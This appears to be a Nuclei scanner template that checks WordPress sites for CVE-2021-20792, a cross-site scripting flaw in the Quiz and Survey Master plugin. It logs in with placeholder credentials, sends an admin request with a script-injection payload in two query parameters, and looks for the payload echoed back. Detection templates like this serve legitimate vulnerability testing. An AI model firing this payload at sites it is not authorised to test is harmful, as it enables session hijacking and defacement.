WordPress Quiz and Survey Master <7.1.14 - Cross-Site Scripting

id: CVE-2021-20792

info:
  name: WordPress Quiz and Survey Master <7.1.14 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Quiz and Survey Master plugin prior to 7.1.14 contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary script via unspecified vectors.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of WordPress Quiz and Survey Master plugin (7.1.14) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4deb3464-00ed-483b-8d91-f9dffe2d57cf
    - https://quizandsurveymaster.com/
    - https://jvn.jp/en/jp/JVN65388002/index.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20792
    - https://plugins.trac.wordpress.org/changeset?new=2503364%40quiz-master-next%2Ftrunk%2Fphp%2Fadmin%2Fquizzes-page.php&old=2490516%40quiz-master-next%2Ftrunk%2Fphp%2Fadmin%2Fquizzes-page.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-20792
    cwe-id: CWE-79
    epss-score: 0.00222
    epss-percentile: 0.60463
    cpe: cpe:2.3:a:expresstech:quiz_and_survey_master:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: expresstech
    product: quiz_and_survey_master
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,authenticated,wpscan,expresstech

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=mlw_quiz_list&s="></script><script>alert(document.domain)</script>&paged="></script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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